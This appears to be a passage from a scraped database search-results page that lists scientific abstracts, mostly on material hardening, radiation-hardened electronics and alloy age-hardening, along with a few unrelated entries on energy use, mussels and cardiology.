a conducting path between source and drain. Thus, the BUSFET structure design can significantly reduce radiation-induced back-channel leakage without using specially prepared buried oxides. Total dose hardness is achieved without degrading the intrinsic SEU or dose rate hardness of SOI technology. The effectiveness of the BUSFET structure for reducing total-dose back-channel leakage depends on several variables, including the top silicon film thickness and doping concentration, and the depth of the source. 3-D simulations show that for a body doping concentration of 10 18 cm -3 , a drain bias of 3 V, and a source depth of 90 nm, a silicon film thickness of 180 nm is sufficient to almost completely eliminate radiation-induced back-channel leakage. However, for a doping concentration of 3 x 10 17 cm -3 , a thicker silicon film (300 nm) must be used 11. Condition For Strain-Hardening In Ecc Uniaxial Test Specimen DEFF Research Database (Denmark) Dick-Nielsen, Lars; Stang, Henrik; Poulsen, Peter Noe 2006-01-01 and infinite sheets under uniaxial tension. The crack is assumed to be cohesive and the cohesive law applied takes into account fiber as well as mortar properties. It is shown that the maximum crack opening observed during crack propagation in various test specimen geometries is small, 20 m and also small......This paper discusses the adequateness of the steady state flat crack criterion for crack propagation in Engineered Cementitious Composites. The investigation is performed by use of a semi-analytical model as well as a Finite Element Model. The simulations are for one crack propagating in finite... 12. Assessment of surface hardening effects from shot peening on a Ni-based alloy using electron backscatter diffraction techniques International Nuclear Information System (INIS) Child, D.J.; West, G.D.; Thomson, R.C. 2011-01-01 An electron backscatter diffraction (EBSD)-based tool is described to assess the depth of strain-hardening effects of shot-peening treatments applied to the Ni-based superalloy, Udimet (copy right) alloy 720Li. The method consists of a statistical analysis of a number of data points from each grain scanned based on the grain orientation spread and their relative position from the shot-peened edge. The output is a quantitative measure of the depth of strain-hardening effects. The tool is used at various shot-peening intensities to demonstrate the ability to distinguish between these changes, using a range of intensities from 4 to 10 Almen. An increase in shot-peening intensity is observed to increase the depth of strain-hardening effects in the alloy. A comparison with residual stress measurements using X-ray diffraction for the same material shows that the strain-hardened depth determined by EBSD extends to approximately half the distance of the residual stress present due to shot peening. A comparison is also made with predicted profiles from the Peenstress SM model and subsequent microhardness testing. A positive correlation is observed between strained hardened depth and surface roughness of the peened samples. In each case, the increases in surface roughness and strain-hardened depth diminish toward the upper end of the shot-peening intensity range studied for this alloy. 13. Coating compositions hardenable by ionization beams International Nuclear Information System (INIS) Chaudhari, D.; Haering, E.; Dobbelstein, A.; Hoselmann, W. 1976-01-01 Coating compositions hardenable by ionizing radiation are described which contain as binding agents a mixture of at least 1 unsaturated olefin compound containing urethane groups, and at least 1 further unsaturated olefin compound that may be copolymerized. The unsaturated olefin compound containing the urethane groups is a reaction product of a compound containing carboxylic acid groups and a compound containing at least 1 isocyanate group where the mixture of the two olefins may contain conventional additives of the lacquer industry. 6 claims, no drawings International Nuclear Information System (INIS) Wrobel, T.F.; Dodson, W.H.; Hash, G.L.; Jones, R.V.; Nasby, R.D.; Olson, R.J. 1983-01-01 A radiation hardened nonvolatile MNOS RAM is being developed at Sandia National Laboratories. The memory organization is 128 x 8 bits and utilizes two p-channel MNOS transistors per memory cell. The peripheral circuitry is constructed with CMOS metal gate and is processed with standard Sandia rad-hard processing techniques. The devices have memory retention after a dose-rate exposure of 1E12 rad(Si)/s, are functional after total dose exposure of 1E6 rad(Si), and are dose-rate upset resistant to levels of 7E8 rad(Si)/s International Nuclear Information System (INIS) Pikor, A.; Reiss, E.M. 1980-01-01 Substantial effort has been directed at radiation-hardening CMOS integrated circuits using various oxide processes. While most of these integrated circuits have been successful in demonstrating megarad hardness, further investigations have shown that the 'wet-oxide process' is most compatible with the RCA CD4000 Series process. This article describes advances in the wet-oxide process that have resulted in multimegarad hardness and yield to MIL-M-38510 screening requirements. The implementation of these advances into volume manufacturing is geared towards supplying devices for aerospace requirements such as the Defense Meterological Satellite program (DMSP) and the Global Positioning Satellite (GPS). (author) 16. Application of submerged induction hardening; Ekichu koshuha yakiire no jitsuyoka Energy Technology Data Exchange (ETDEWEB) Nishimori, Y; Nagai, Y; Amii, Y [Mazda Motor Corp., Hiroshima (Japan); Tanaka, Y [Netsuren Co. Ltd., Tokyo (Japan); Mizuma, T [Toyo Advanced Technologies Co. Ltd., Hiroshima (Japan) 1997-10-01 As a cost-cutting measure, the linerless diesel engine was adopted by applying submerged induction hardening process which can harden partial inner surface of cylinder block bore. In applying this process, (1) development of induction coil which can form any shape of quenched pattern and (2) the development of machining technology which can hone precisely the distorted bore after quenching, were important. With these improvements, submerged Induction hardening was made practical. 1 ref., 11 figs. 17. Hardening device, by inserts, of electronic component against radiation International Nuclear Information System (INIS) Val, C. 1987-01-01 The hardening device includes at least two materials, one with high atomic number with respect to the other. One of these materials is set as inserts in a layer of the other material. The hardening device is then made by stacking of such layers, the insert density varying from one layer to the other, making thus vary the atomic number resulting from the hardening device along its thickness, following a predefined law [fr 18. Characterization and hardenability evaluation of gray cast iron used in the manufacture of diesel engine cylinder liners Directory of Open Access Journals (Sweden) Edgar L. Castellanos-Leal 2017-09-01 Full Text Available The increment of the mechanical properties (surface hardness of engine cylinder is one of the principal goals for foundry company, to increase the competitiveness of their products in the local and foreign market. This study focused on the characterization of the gray cast iron used in the production of engine cylinder liners and metallurgical parameters determination in the design of conventional quenching heat treatment. The characterization was performed by material hardenability evaluation using Grossmann method, and Jominy test; the austenitizing temperature and the severity of cooling medium to a proper hardening of material were selected. Results revealed that the excellent hardness value obtained is attributed to the suitable hardenability of the gray cast iron and adequate severity selection for hardening treatment. 19. Charging conditions research to increase the initial projected velocity at different initial charge temperatures Science.gov (United States) Ishchenko, Aleksandr; Burkin, Viktor; Kasimov, Vladimir; Samorokova, Nina; Zykova, Angelica; Diachkovskii, Alexei 2017-11-01 The problems of the defense industry occupy the most important place in the constantly developing modern world. The daily development of defense technology does not stop, nor do studies on internal ballistics. The scientists of the whole world are faced with the task of managing the main characteristics of a ballistic experiment. The main characteristics of the ballistic experiment are the maximum pressure in the combustion chamber Pmax and the projected velocity at the time of barrel leaving UM. During the work the combustion law of the new high-energy fuel was determined in a ballistic experiment for different initial temperatures. This combustion law was used for a parametric study of depending Pmax and UM from a powder charge mass and a traveling charge was carried out. The optimal conditions for loading were obtained for improving the initial velocity at pressures up to 600 MPa for different initial temperatures. In this paper, one of the most promising schemes of throwing is considered, as well as a method for increasing the muzzle velocity of a projected element to 3317 m/s. 20. Configurable Radiation Hardened High Speed Isolated Interface ASIC, Phase I Data.gov (United States) National Aeronautics and Space Administration — NVE Corporation will design and build an innovative, low cost, flexible, configurable, radiation hardened, galvanically isolated, interface ASIC chip set that will... 1. Strain path and work-hardening behavior of brass International Nuclear Information System (INIS) Sakharova, N.A.; Fernandes, J.V.; Vieira, M.F. 2009-01-01 Plastic straining in metal forming usually includes changes of strain path, which are frequently not taken into account in the analysis of forming processes. Moreover, strain path change can significantly affect the mechanical behavior and microstructural evolution of the material. For this reason, a combination of several simple loading test sequences is an effective way to investigate the dislocation microstructure of sheet metals under such forming conditions. Pure tension and rolling strain paths and rolling-tension strain path sequences were performed on brass sheets. A study of mechanical behavior and microstructural evolution during the simple and the complex strain paths was carried out, within a wide range of strain values. The appearance and development of deformation twinning was evident. It was shown that strain path change promotes the onset of premature twinning. The work-hardening behavior is discussed in terms of the twinning and dislocation microstructure evolution, as revealed by transmission electron microscopy 2. MICROSTRUCTURAL FEATURES EVALUATION OF AGE-HARDENED A 226 CAST ALLOY BY IMAGE ANALYSIS Directory of Open Access Journals (Sweden) Lenka Kuchariková 2018-01-01 Full Text Available Age-hardening provides one of the most widely used mechanisms for the strengthening of aluminum alloys. The age-hardening involves three steps: solution treatment, quenching and aging. The temperature of solution treatment and aging is very important in order to reach desired properties of castings. The optimum temperature of solution treatment and aging led to formation microstructural features in form which does not lead to decreasing properties, but increasing ones. The major microstructural features in A 226 cast alloys which are responsible for increasing properties are: eutectic Si particles, Cu-rich phases, Fe-rich phases and porosity. The increase of properties depends on morphology, size and volume of microstructural features. In order to assess age-hardening influence on microstructural features in A226 cast alloys were used as possibilities of evaluation by means of image analysis. Quantitative analysis decelerate changes in microstructure includes the spheroidization and coarsening of eutectic silicon, gradual disintegration, shortening and thinning of Fe-rich intermetallic phases, the dissolution of precipitates and the precipitation of finer hardening phase (Al2Cu further increase in the hardness and tensile strength in the alloy. Changes of mechanical properties were measured in line with STN EN ISO. 3. Strain hardening and its relation to Bauschinger effects in oriented polymers NARCIS (Netherlands) Senden, D.J.A.; Dommelen, van J.A.W.; Govaert, L.E. 2010-01-01 The nature of strain hardening in glassy polymers is investigated by studying the mechan-ical response of oriented polycarbonate in uniaxial extension and compression. The yieldstress in extension is observed to increase strongly with pre-deformation, whereas it slightlydecreases in compression (the 4. Numerical implementation of a transverse-isotropic inelastic, work-hardening constitutive model International Nuclear Information System (INIS) 1977-01-01 During the past few decades the dramatic growth of computer technology has been paralleled by an increasing degree of complexity in material constitutive modeling. This paper documents the numerical implementation of one of these models, specifically a transverse-isotropic, inelastic, work-hardening constitutive model which is developed elsewhere by the author. (Auth.) 5. Conditional Expression of the Androgen Receptor Increases Susceptibility of Bladder Cancer in Mice. Directory of Open Access Journals (Sweden) Daniel T Johnson 6. Warm weather conditions moderated the increase of power consumption in Finland in 2000 International Nuclear Information System (INIS) Kangas, H. 2001-01-01 Year 2000 was exceptionally warm in Finland. The amount of rainfalls in Northern Finland was larger than in 1999. This is shown clearly in the production of hydroelectric power. The wind conditions were also better, so the wind power generation doubled in 2000. The increase in power consumption in 2000 was only 1.7%. The power consumption rate was slightly over 79 TWh. The power consumption of household and agricultural sectors decreased by nearly 2% and in the public sector by 0.2%. The industrial power consumption increased by nearly 3%. Year 2000 was excellent for the industrial sector. The industrial production increased by 11%. The increment of power demand in heavy metal industry, chemical industry and forest industry was 5-7%. Power demand of process industry in 2000 exceeded 43.4 TWh, of which the share of building industry was more than 200 GWh. Process industry use about 55% of the total power consumption in Finland in 2000. The power demand of forest industry was 26.3 TWh, which is about 2% higher than in 1999. The corresponding figures for metal industry were 7.1 TWh and growth rate 3%. Chemical industry used in 2000 about 5.9 TWh of electric power. The growth rate was more that 4% higher in 2000 than in 1999. Power consumption of other industrial sectors in 2000 increased about 3% being now about 3.9 TWh. Hydroelectric power generation in 2000 was nearly 14.4 TWh, which is nearly 14.4 % higher than in 1999. The share of hydroelectric power generation of the total power consumption in Finland in 2000 was 18%. The wind power generation in 2000 was nearly 80 GWh, which are about 60% higher than in 1999. The number of wind power plants is 63, and the capacity of them 38 MW. The production of nuclear power in 2000 decreased by about 2% because of the longer and more thorough maintenance stoppages in the Loviisa 1 reactor. The utilisation rates of Finnish nuclear power plants in 2000 were high, Loviisa 1 by nearly 85%, Loviisa 2 by 91%, Olkiluoto 1 by 96 7. Leaching behaviour of tritium from a hardened cement paste International Nuclear Information System (INIS) Matsuzuru, H.; Moriyama, N.; Ito, A. 1979-01-01 Leaching of tritium from a hardened cement paste into an aqueous phase has been studied to assess the safety of solidification of the tritiated liquid waste with cement. Leaching tests were carried out in accordance with the method recommended by the International Atomic Energy Agency. The leaching fraction was measured as functions of the waste-cement wt ratio (Wa/C), temperature of leachant and curing time. the tritium leachability of cements follows the order: alumina cement > Portland cement > slag cement. The fraction of tritium leached increases with increasing Wa/C and temperature and decreasing curing period. A deionized water as a leachant gives a slightly higher leachability than the synthetic sea water. The coating of the specimen surface with bitumen reduces the leachability to about 5% of its value for the specimen without coating. (author) 8. Induction surface hardening of hard coated steels Energy Technology Data Exchange (ETDEWEB) Pantleon, K.; Kessler, O.; Hoffann, F.; Mayr, P. [Stiftung Inst. fuer Werkstofftechnik, Bremen (Germany) 1999-11-01 The properties of hard coatings deposited using CVD processes are usually excellent. However, high deposition temperatures negatively influence the substrate properties, especially in the case of low alloyed steels. Therefore, a subsequent heat treatment is necessary to restore the properties of steel substrates. Here, induction surface hardening is used as a method of heat treatment after the deposition of TiN hard coatings on AISI 4140 (DIN42CrMo4) substrates. The influences of the heat treatment on both the coating and the substrate properties are discussed in relation to the parameters of induction heating. Thereby, the heating time, heating atmosphere and the power input into the coating-substrate compounds are varied. As a result of induction surface hardening, the properties of the substrates are improved without losing good coating properties. High hardness values in the substrate near the interface allow the AISI 4140 substrates to support TiN hard coatings very well. Consequently, higher critical loads are measured in scratch tests after the heat treatment. Also, compressive residual stresses in the substrate are generated. In addition, only a very low distortion appears. (orig.) 9. Increased water-use efficiency does not lead to enhanced tree growth under xeric and mesic conditions NARCIS (Netherlands) Lévesque, M.; Siegwolf, R.; Saurer, M.; Eilmann, B.; Rigling, A. 2014-01-01 Higher atmospheric CO2 concentrations (ca ) can under certain conditions increase tree growth by enhancing photosynthesis, resulting in an increase of intrinsic water-use efficiency (i WUE) in trees. However, the magnitude of these effects and their interactions with changing climatic conditions are 10. Conditionally replicating adenovirus expressing TIMP2 increases survival in a mouse model of disseminated ovarian cancer. Directory of Open Access Journals (Sweden) Sherry W Yang 11. Permanent atrial fibrillation in heart failure patients as another condition with increased reverse triiodothyronine concentration. Science.gov (United States) Jakowczuk, Maciej; Zalas, Dominika; Owecki, Maciej 2016-09-01 To fully investigate the thyroid hormonal function in patients with the most common arrhythmia - atrial fibrillation. 120 patients (aged 55-85 yrs) with symptoms of congestive heart failure exacerbation and no other concomitant disorders (inclusion criteria: normal cardiac troponin T at admission and 12 hours after, normal renal, hepatic and respiratory function; exclusion criteria: inflammatory state, history of myocardial infarction). Depending on the presence of permanent atrial fibrillation (PAF), patients were divided into two groups: PAF (34 females, 26 males) and regular sinus heart rhythm (43 females, 17 males), the groups did not differ in terms of heart rate, blood pressure, presence of overt/subclinical thyroid dysfunction, and medical therapy used. In all subjects thyroid stimulating hormone, free thyroxine, free triiodothyronine, reverse triiodothyronine were measured; echocardiography was performed. PAF group showed higher FT4 and rT3 (1.41 vs. 1.27 ng/dl, p=0.0007; 0.61 vs. 0.32 ng/ml, p<0.0001, respectively). With ROC curve analysis the biochemical thyroid related factor of the highest prognostic value for PAF occurrence (with the highest sensitivity and specificity: 77% and 72%, respectively) was rT3 with the cut-off of above 0.3 ng/ml. Also, a positive correlation between rT3 levels and left ventricular posterior wall diameter was observed (Spearman's correlation coefficient 0.33, p=0.0093). PAF is another condition where an increase in rT3 is observed. rT3 concentration above 0.3 ng/ml may be a novel biochemical sign associated with the presence of PAF in patients with chronic heart failure. 12. Specific features of precipitation hardening of austenitic steels with various base. 2. Kinetics and mechanism of carbide precipitation International Nuclear Information System (INIS) Kositsyna, I.I.; Sagaradze, V.V.; Khakimova, O.N. 1997-01-01 Electron microscopic studies were carried out to determine the kinetics and mechanisms of precipitation hardening in Fe-Mn, Fe-Mn-Cr, Fe-Cr-Mn-N, Fe-Cr-Ni and Fe-Ni base stainless steels (45G20M2F2, 50Kh16G15N6M2F2, 45Kh18N10G10M2F2, 40Kh18Ni18M2F2, 45N26M2F2). The steels were heat treated under various conditions. It is revealed that in manganese steels the particles of vanadium carbide nucleate according to homogeneous mechanism at all aging temperatures (600-750 deg C). The presence of chromium in the matrix promotes the transition to heterogeneous mechanism of carbide nucleation and growth. With nickel content increasing the plasticity of precipitation hardened steels gets better due to more intense diffusion of atoms and vacancies to grain boundaries and, hence, the widening of near-boundary zones free of carbide particles 13. Hardening mechanism of an Ag-Pd-Cu-Au dental casting alloy International Nuclear Information System (INIS) Seol, Hyo-Joung; Kim, Gi-Chul; Son, Kuk-Hyeon; Kwon, Yong Hoon; Kim, Hyung-Il 2005-01-01 Age-hardening behaviour and the related microstructural changes were studied to elucidate the hardening mechanism of an Ag-Pd-Cu-Au dental casting alloy by means of hardness test, X-ray diffraction (XRD), scanning electron microscopic (SEM) observations and electron probe microanalysis (EPMA). By considering hardness test and XRD results together, it was revealed that the hardness increased during the early stage of phase transformation of α into α 1 . In the SEM photographs, two phases of matrix and particle-like structures were observed, and the precipitation of element from the matrix progressed during isothermal aging. By SEM observations and EPMA analysis, it could be supposed that the increase in hardness was caused by the diffusion and aggregation of Cu atoms from the Ag-rich α matrix containing Au and Cu in the early stage of age-hardening process, and that the decrease in hardness was caused by the progress of coarsening of Cu-rich lamellar precipitates in the later stage of the age-hardening process. The changes in the Ag-rich matrix caused both the increase and decrease in hardness, and the CuPd phase containing small amounts of Zn and Sn did not contribute to the hardness changes 14. On use of radial evanescence remain term in kinematic hardening International Nuclear Information System (INIS) Geyer, P. 1995-10-01 15. The surface fatigue life of contour induction hardened AISI 1552 gears Science.gov (United States) Townsend, Dennis P.; Turza, Alan; Chaplin, Mike 1995-07-01 Two groups of spur gears manufactured from two different materials and heat treatments were endurance tested for surface fatigue life. One group was manufactured from AISI 1552 and was finished ground to a 0.4 micron (16 micro-in.) rms surface finish and then dual frequency contour induction hardened. The second group was manufactured from CEVM AISI 9310 and was carburized, hardened, and ground to a 0.4 micron (16 micro-in.) rms surface finish. The gear pitch diameter was 8.89 cm (3.5 in.). Test conditions were a maximum Hertz stress of 1.71 GPa (248 ksi), a bulk gear temperature of approximately 350 K (170 F) and a speed of 10,000 rpm. The lubricant used for the tests was a synthetic paraffinic oil with an additive package. The test results showed that the 10 percent surface fatigue (pitting) life of the contour hardened AISI 1552 test gears was 1.7 times that of the carburized and hardened AISI 9310 test gears. Also there were two early failures of the AISI 1552 gears by bending fatigue. 16. Microstructural and Mechanical Study of Press Hardening of Thick Boron Steel Sheet Science.gov (United States) Pujante, J.; Garcia-Llamas, E.; Golling, S.; Casellas, D. 2017-09-01 Press hardening has become a staple in the production of automotive safety components, due to the combination of high mechanical properties and form complexity it offers. However, the use of press hardened components has not spread to the truck industry despite the advantages it confers, namely affordable weight reduction without the use of exotic materials, would be extremely attractive for this sector. The main reason for this is that application of press hardened components in trucks implies adapting the process to the manufacture of thick sheet metal. This introduces an additional layer of complexity, mainly due to the thermal gradients inside the material resulting in though-thickness differences in austenitization and cooling, potentially resulting in complex microstructure and gradient of mechanical properties. This work presents a preliminary study on the press hardening of thick boron steel sheet. First of all, the evolution of the sheet metal during austenitization is studied by means of dilatometry tests and by analysing the effect of furnace dwell time on grain size. Afterwards, material cooled using different cooling strategies, and therefore different effective cooling rates, is studied in terms of microstructure and mechanical properties. Initial results from finite element simulation are compared to experimental results, focusing on the phase composition in through thickness direction. Results show that industrial-equivalent cooling conditions do not lead to gradient microstructures, even in extreme scenarios involving asymmetrical cooling. International Nuclear Information System (INIS) Huang, F.H.; Li, C.Y. 1977-01-01 An absolute work hardening correlation in terms of the hardness parameter and the internal stress based on the state variable approach was developed. It was found applicable to a variety of metals and alloys. This correlation predicts strain rate insensitive work hardening properties at low homologous temperatures and produces strain rate effects at higher homologous temperatures without involving thermally induced recovery processes 18. Analysis of the work-hardening process in spheroidized steels International Nuclear Information System (INIS) Pacheco, J.L. 1981-07-01 An elementary model for the work-hardening process in duplex-structures steels (ferrite - spheroidite) is proposed and tested on low, medium and high carbon content, which seems to give good results concerning the influence of the volume fraction and particle size of the second phase on the work-hardening behaviour. (Author) [pt 19. Design and characterization of cellulose nanocrystal-enhanced epoxy hardeners Science.gov (United States) Shane X. Peng; Robert J. Moon; Jeffrey P. Youngblood 2014-01-01 Cellulose nanocrystals (CNCs) are renewable, sustainable, and abundant nanomaterial widely used as reinforcing fillers in the field of polymer nanocomposites. In this study, two-part epoxy systems with CNC-enhanced hardeners were fabricated. Three types of hardeners, Jeffamine D400 (JD400), diethylenetriamine (DETA), and (Â±)-trans-1,2- diaminocyclohexane (DACH), were... 20. On the grain boundary hardening in a B-bearing 304 austenitic stainless steel International Nuclear Information System (INIS) Yao, X.X. 1999-01-01 The precipitates, (Cr,Fe) 23 (C,B) 6 carbides and (Cr,Fe) 2 B borides, formed along the grain boundaries in a 304 austenitic stainless steel containing boron of 33 ppm after solution treatment at 1100 C for 1 h followed by isothermal ageing for 0.5 h at temperatures ranging from 750 to 1050 C have been identified. The influence of these precipitates on the grain boundary hardening has been investigated by means of micro-Vickers hardness measurements. It is found that the degree of grain boundary hardening below 900 C decreases, while it increases above 900 C with increasing ageing temperature. The dissolution of (Cr,Fe) 23 (C,B) 6 carbides and the precipitation of (Cr,Fe) 2 B borides are associated with the changes of grain boundary hardening in this B-bearing 304 austenitic stainless steel between 750 and 1100 C. The non-equilibrium boron segregation enhances the grain boundary hardening when the ageing temperature is above 900 C. (orig.) 1. 78 FR 57418 - Compliance With Order EA-13-109, Order Modifying Licenses With Regard to Reliable Hardened... Science.gov (United States) 2013-09-18 ... Licenses With Regard to Reliable Hardened Containment Vents Capable of Operation Under Severe Accident... Capable of Operation under Severe Accident Conditions.'' (ADAMS Accession No. ML13247A417) This draft JLD... Containment Vents Capable of Operation under Severe Accident Conditions'' (ADAMS Accession No. ML13130A067... 2. Radiation Effects and Hardening Techniques for Spacecraft Microelectronics Science.gov (United States) Gambles, J. W.; Maki, G. K. 2002-01-01 3. Coating compositions hardenable by ionization beams International Nuclear Information System (INIS) Chaudhari, D.; Haering, E.; Dobbelstein, A.; Hoselmann, W. 1976-01-01 Coating compositions hardenable by ionizing radiation comprise as binding agents a mixture of A. at least 1 unsaturated olefin compound containing urethane groups, and B. at least 1 further unsaturated olefin compound that may be copolymerized. The unsaturated olefin compound A. containing the urethane groups in a reaction product of (a) a compound of the general formula (CHR 1 = CR 2 COOCH 2 CH(OH)CH 2 O CO-)/sub n/R where n is 1 or 2, where R stands for a straight chain or branched alkyl group of valence n, where R 1 is hydrogen, methyl; or the group -COOCH 2 CH(OH)CH 2 OCOR 3 - where R 3 is a monovalent alkyl residue and where R 2 is hydrogen or methyl, and (b) a compound containing at least 1 isocyanate group where the mixture of (A) and (B) may contain conventional additives of the lacquer industry. 6 claims 4. Radiation hardening of MOS devices by boron International Nuclear Information System (INIS) Danchenko, V. 1975-01-01 A novel technique is disclosed for radiation hardening of MOS devices and specifically for stabilizing the gate threshold potential at room temperature of a radiation subjected MOS field-effect device of the type having a semiconductor substrate, an insulating layer of oxide on the substrate, and a gate electrode disposed on the insulating layer. In the preferred embodiment, the novel inventive technique contemplates the introduction of boron into the insulating oxide, the boron being introduced within a layer of the oxide of about 100A to 300A thickness immediately adjacent the semiconductor-insulator interface. The concentration of boron in the oxide layer is preferably maintained on the order of 10 atoms/ cm 3 . The novel technique serves to reduce and substantially annihilate radiation induced positive gate charge accumulations, which accumulations, if not eliminated, would cause shifting of the gate threshold potential of a radiation subjected MOS device, and thus render the device unstable and/or inoperative. (auth) 5. Humid storage conditions increase the dissolution rate of diazepam from solid dispersions prepared by melt agglomeration DEFF Research Database (Denmark) Jørgensen, Anna Cecilia; Torstenson, Anette Seo 2008-01-01 The purpose of this study is to investigate the effect of cooling mode and storage conditions on the dissolution rate of a solid dispersion prepared by melt agglomeration. The aim has been to relate this effect to the solid state properties of the agglomerates. The cooling mode had an effect on t... 6. Generalization of Conditioned Fear along a Dimension of Increasing Fear Intensity Science.gov (United States) Dunsmoor, Joseph E.; Mitroff, Stephen R.; LaBar, Kevin S. 2009-01-01 The present study investigated the extent to which fear generalization in humans is determined by the amount of fear intensity in nonconditioned stimuli relative to a perceptually similar conditioned stimulus. Stimuli consisted of graded emotionally expressive faces of the same identity morphed between neutral and fearful endpoints. Two… 7. Anti-seismic air condition's cooling capability increase of the second control area International Nuclear Information System (INIS) Pan Qiang 2008-01-01 Secondary area (SCA) air-conditioning system is an important ventilation system in plant. It should achieve the indoor temperature controllable. To resolve the problem of cooling capacity insufficiency, on the basis of ventilation and refrigeration theory, the thesis analyzes the design modification plan. (author) 8. Does pre-exposure to warming conditions increase Mytilus galloprovincialis tolerance to Hg contamination? Science.gov (United States) Freitas, Rosa; Coppola, Francesca; Henriques, Bruno; Wrona, Fredrick; Figueira, Etelvina; Pereira, Eduarda; Soares, Amadeu M V M 2017-12-01 The degree to which marine invertebrate populations can tolerate extreme weather events, such as short-term exposure to high temperatures, and the underlying biochemical response mechanisms are not yet fully understood. Furthermore, scarce information is available on how marine organisms respond to the presence of pollutants after exposure to heat stress conditions. Therefore, the present study aimed to understand how the mussel Mytilus galloprovincialis responds to Hg pollution after pre-exposure to warming conditions. Mussels were exposed to control (17°C) and warming (21°C) conditions during 14days, followed by Hg contamination during 28days under different temperature regimes (17 and 21°C). The results obtained demonstrated significantly higher Hg concentrations in mussels under 17°C during the entire experiment than in organisms exposed to 21°C during the same period, which resulted in higher oxidative stress in mussels under control temperature. Significantly higher Hg concentrations were also observed in mussels pre-exposed to 21°C followed by a 17°C exposure comparing with organisms maintained the entire experiment at 21°C. These results may be explained by higher metabolic capacity in organisms exposed to 17°C after pre-exposure to 21°C that although induced antioxidant defences were not enough to prevent oxidative stress. No significant differences in terms of Hg concentration were found between mussels exposed to 17°C during the entire experiment and organisms pre-exposed to 21°C followed by a 17°C exposure, leading to similar oxidative stress levels in mussels exposed to both conditions. Therefore, our findings demonstrated that pre-exposure to warming conditions did not change mussels' accumulation and tolerance to Hg in comparison to Hg contaminated mussels maintained at control temperature. Furthermore, the present study indicate that organisms maintained under warming conditions for long periods may prevent the accumulation of 9. Conditions for Successfully Increasing Disadvantaged Adolescents’ Engagement in and Development through Volunteering in Community Sport Directory of Open Access Journals (Sweden) Evi Buelens 2017-06-01 Full Text Available A considerable number of adolescents in Western societies live in socially vulnerable situations. Approaches to improve this situation ultimately aim to make institutional changes through a focus on individual development. With regard to the latter, there have been high expectations regarding sport volunteering’s contribution to human capital development. Nevertheless, little understanding of the underlying conditions for, and possible outcomes of sport volunteering exists. This study’s aim was twofold: (1 to assess the conditions necessary to develop the human capital of disadvantaged adolescents through volunteering in community sport, and (2 to assess to what extent human capital can be developed. A qualitative research design was used to attain deeper insight into these conditions within eight community sport programs in Flanders (Northern Dutch-speaking region of Belgium, a setting that is not often used for youth developmental practices. Data were collected on repeated occasions over the course of each program through qualitative methods with local sport services and social partner organizations (N = 26 and participating adolescents (N = 26. Inductive analysis identified two categories of necessary conditions, (1 valuing and recognizing adolescents, and (2 informal and experiential learning. Results further showed the achievement of two types of perceived human capital developmental outcome (i.e., personal and interpersonal competences through the fulfilment of these conditions. Findings also showed that although two of these programs made use of a more critical pedagogical approach to youth development by encouraging participants, not only to reflect on, but also to critically take part in the transformation of their own position within society; critical youth empowerment was not reached in the majority of the programs. 10. The Natural Aging Effect on Hardenability in Al-Mg-Si: A Complex Interaction between Composition and Heat Treatment Parameters Directory of Open Access Journals (Sweden) Alex Poznak 2018-05-01 Full Text Available The technological relevance of Al-Mg-Si alloys has been rapidly growing over the last decade. Of particular interest to current and future applications is the problematic negative effect of prior natural aging on subsequent artificial age hardening. The influence of natural aging is dependent on both processing and compositional variables and has origins that are far from well-understood. This work examines the hardenability of 6000 series alloys under a wide range of conditions, paying particular attention to the natural aging effect. Experimental variables include alloy composition (Mg + Si, Mg/Si, cooling rate after solutionization, and duration of prior natural aging. Hardenability was evaluated with full hardness and conductivity aging curves for each condition, as well as select Transmission Electron Microscopy (TEM. Results are discussed based on the actions of naturally aged solute clusters during artificial aging. In particular, a complex interaction between vacancy concentration, cluster stability, and precipitation driving force is suggested. 11. Saturation behavior of irradiation hardening in F82H irradiated in the HFIR Energy Technology Data Exchange (ETDEWEB) Hirose, T. [Blanket Engineering Group, Japan Atomic Energy Agency, Naka, Ibaraki (Japan); Shiba, K.; Tanigawa, H.; Ando, M. [Japan Atomic Energy Agency, Tokai-mura, Naga-gun, Ibaraki-ken (Japan); Klueh, R.L. [Oak Ridge National Laboratory, TN (United States); Stoller, R. [ORNL - Oak Ridge National Laboratory, Materials Science and Technology Div., Oak Ridge, AK TN (United States) 2007-07-01 12. Increased sbpase activity improves photosynthesis and grain yield in wheat grown in greenhouse conditions NARCIS (Netherlands) Driever, Steven M.; Simkin, Andrew J.; Alotaibi, Saqer; Fisk, Stuart J.; Madgwick, Pippa J.; Sparks, Caroline A.; Jones, Huw D.; Lawson, Tracy; Parry, Martin A.J.; Raines, Christine A. 2017-01-01 To meet the growing demand for food, substantial improvements in yields are needed. This is particularly the case for wheat, where global yield has stagnated in recent years. Increasing photosynthesis has been identified as a primary target to achieve yield improvements. To increase leaf 13. A brief review of cavity swelling and hardening in irradiated copper and copper alloys International Nuclear Information System (INIS) Zinkle, S.J. 1990-01-01 14. Precipitation hardening of a Cu-free Au-Ag-Pd-In dental alloy Energy Technology Data Exchange (ETDEWEB) Seol, Hyo-Joung [Department of Dental Materials, College of Dentistry and Research Institute for Oral Biotechnology, Pusan National University, 1-10 Ami-dong, Seo-gu, Pusan 602-739 (Korea, Republic of); Son, Kuk-Hyeon [Department of Dental Materials, College of Dentistry and Research Institute for Oral Biotechnology, Pusan National University, 1-10 Ami-dong, Seo-gu, Pusan 602-739 (Korea, Republic of); Yu, Chin-Ho [Department of Dental Materials, College of Dentistry and Research Institute for Oral Biotechnology, Pusan National University, 1-10 Ami-dong, Seo-gu, Pusan 602-739 (Korea, Republic of); Kwon, Yong Hoon [Department of Dental Materials, College of Dentistry and Research Institute for Oral Biotechnology, Pusan National University, 1-10 Ami-dong, Seo-gu, Pusan 602-739 (Korea, Republic of); Kim, Hyung-Il [Department of Dental Materials, College of Dentistry and Research Institute for Oral Biotechnology, Pusan National University, 1-10 Ami-dong, Seo-gu, Pusan 602-739 (Korea, Republic of)]. E-mail: [email protected] 2005-10-27 The hardening mechanism and related microstructural changes of the Cu-free dental casting alloy composed of Au-Ag-Pd-In was examined by means of hardness test, X-ray diffraction (XRD), scanning electron microscopic (SEM) observations and electron probe microanalysis (EPMA). The Au-Ag-Pd-In alloy showed apparent age-hardenability. In the SEM photograph, three phases were observed in the solution-treated specimen, that is, the Au-Ag based phase with small amounts of In and Pd as matrix, the InPd phase as particle-like structures, and the Pd-rich phase as lamellar precipitates. By aging the specimen, the very fine Pd-rich inter-granular precipitates grew toward the grain interior as lamellar structure, and finally the coarsened Pd-rich precipitates covered a large part of the Au-Ag based matrix. The hardness increase in the early stage of the age-hardening process was assumed to be caused by the diffusion and aggregation of Pd atoms from the Au-Ag based matrix. The hardness decrease in the later stage of age-hardening process was 